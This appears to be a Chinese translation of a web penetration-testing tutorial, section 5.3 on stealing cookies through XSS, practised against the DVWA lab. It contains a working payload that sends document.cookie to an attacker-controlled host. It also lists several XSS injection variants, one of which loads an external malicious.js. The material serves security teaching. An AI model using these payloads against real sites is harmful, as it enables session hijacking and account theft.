首页
学习
活动
专区
圈层
工具
发布
27 篇文章
1
Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞
2
Kali Linux Web渗透测试手册(第二版) - 6.7 - 利用XML外部实体注入
3
Kali Linux Web渗透测试手册(第二版) - 6.4 - 基于错误的SQL注入
4
Kali Linux Web渗透测试手册(第二版) - 6.3 - 手动识别SQL注入
5
Kali Linux Web渗透测试手册(第二版) - 6.2 - 文件包含和文件上传
6
Kali Linux Web渗透测试手册(第二版) - 5.7 - 使用ZAP测试WebSokets
7
Kali Linux Web渗透测试手册(第二版) - 6.6 - 使用SQLMap查找和利用SQL注入
8
Kali Linux Web渗透测试手册(第二版) - 7.3 - 利用metasploit创建并反弹shell
9
Kali Linux Web渗透测试手册(第二版) - 6.1 - 寻找文件包含漏洞
10
Kali Linux Web渗透测试手册(第二版) - 2.8 - 利用robots.txt
11
Kali Linux Web渗透测试手册(第二版) - 5.3 - 利用XSS获取Cookie
12
Kali Linux Web渗透测试手册(第二版) - 3.9 - WebScarab的使用
13
Kali Linux Web渗透测试手册(第二版) - 9.7 - 通过HTTP头利用漏洞
14
Kali Linux Web渗透测试手册(第二版) - 9.2 - 对跨站脚本攻击(xss)进行混淆代码测试
15
Kali Linux Web渗透测试手册(第二版) - 9.1 - 如何绕过xss输入验证
16
Kali Linux Web渗透测试手册(第二版) - 8.4 - 使用OWASP ZAP进行扫描漏洞
17
Kali Linux Web渗透测试手册(第二版) - 9.6 - 利用HTTP参数污染
18
Kali Linux Web渗透测试手册(第二版) - 9.4 - 绕过web服务器的CORS限制
19
Kali Linux Web渗透测试手册(第二版) - 9.3 - 绕过文件上传限制
20
Kali Linux Web渗透测试手册(第二版) - 8.8 - 使用CMSmap扫描Drupal
21
Kali Linux Web渗透测试手册(第二版) - 8.7 - 使用JoomScan扫描Joomla中的漏洞
22
Kali Linux Web渗透测试手册(第二版) - 8.3 - 使用Wapiti发现漏洞
23
Kali Linux Web渗透测试手册(第二版) - 7.8 - 使用Hashcat暴力破解密码哈希
24
Kali Linux Web渗透测试手册(第二版) - 7.6 - 使用Tomcat管理界面执行代码
25
Kali Linux Web渗透测试手册(第二版) - 7.5 - Windows提权
26
Kali Linux Web渗透测试手册(第二版) - 7.4 - Linux上的权限提升
27
Kali Linux Web渗透测试手册(第二版) - 7.2 - 通过利用Shellshock执行命令

Kali Linux Web渗透测试手册(第二版) - 5.3 - 利用XSS获取Cookie

翻译来自掣雷小组

成员信息:

thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt,

这个公众号,一定要关注哦,慢慢会跟上面老哥们一起分享很多干货哦~~

标记红色的部分为今日更新内容。

第五章、使用跨站脚本攻击客户端

5.0、介绍

5.1、使用浏览器绕过客户端控制

5.2、识别跨站脚本漏洞

5.3、利用XSS获取Cookie

5.4、利用DOM XSS

5.5、利用BeEF执行xss攻击

5.6、从Web存储中提取信息

5.7、使用ZAP测试WebSokets

5.8、使用XSS和Metasploit获取远程shell


5.3、利用XSS获取Cookie

在前几章中,我们知道了攻击者可以使用cookie来冒充当前用户的身份,在上一章节我们也简单地引入了XSS的基本概念。如果目标站点存在XSS漏洞并且Cookie并没有开启http-only的话,那么它们二者将是Web安全的巨大隐患。

本章就带大家一起来学习如何使用XSS来获取用户的cookie。

实战演练

利用XSS攻击Cookie是一定需要一个服务器的,在这里例子中我们使用一个简单的python功能模块来代替服务器:

1、在Kali Linux的终端上运行以下命令来开启HTTP服务;

2、然后登陆DVWA,再转到XSS reflection下;

3、在文本框中输入以下内容:

Bob<script>document.write(‘<imgsrc=”http://192.168.56.10:88/’+document.cookie+’”>’);</script>

4、查看终端,你会发现出现以下信息;

注意:在GET后出现了用户的cookie信息!

原理剖析

在像XSS此类的攻击中,必须有用户的交互才能触发漏洞,那么这种情况下由于攻击者并不知道何时用户才会点击或者触发漏洞,所以攻击者必须有一个可以时刻监听payload是否被触发的服务器。

在上面的例子中,我们使用了Python中的SimpleHTTPServer模块来简单地替代服务器的功能,但是在稍微复杂的攻击环境下,这是不可取的。

在DVWA的XSS reflection页面下输入payload然后提交,浏览器就会加载payload从而执行其中的JavaScript代码,通过Kali Linux的88端口来请求一个以用户Cookie命名的图片,那么显然这个图片是不可能存在在Kali Linux上的,所以我们可以在上图中看到终端出现了404错误,紧跟着就打印出了错误日志,而错误日志就包含了用户的Cookie。

其他

在上面的案例中,我们使用了<script>标签来向页面中插入了JavaScript代码,但是这并不是HTML中唯一的可以插入JS代码的标签,其他用的标签像<video><audio>等也可用于构造用于XSS的JS代码。例如:

  • 使用src/srouce参数给特定的标签生成错误信息,例如<img><audio>和<video>: <img src=x onerror=”javascript:alert(‘xss’)”> 或者使用: <audio><sourceonerror=”javascript:alert(‘xss’)”> 还可以: <video><sourceonerror=”javascript:alert(‘xss’)”>
  • 使用<script>标签引入外部JavaScript文件: <script src=”http://192.168.56.10:88/malicious.js”></script>
  • 如果在HTML中有外围标签,还可以尝试闭合它,例如<input value=“输入的内容”>,我们可以闭合它并且重新生成新的事件,比如这样写: ” onmouserover=“javascript:alert(‘xss’) 那么原来的标签就变为: <input value= “输入的内容”onmouseover=“javascript:alert(‘xss’)”>
  • 还可以在href属性中注入链接或者其他事件,使用户在点击的时候触发:<a href=“javascript:alert(‘xss’)”>点击我</a>

其他参考内容见:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

下一篇
举报
领券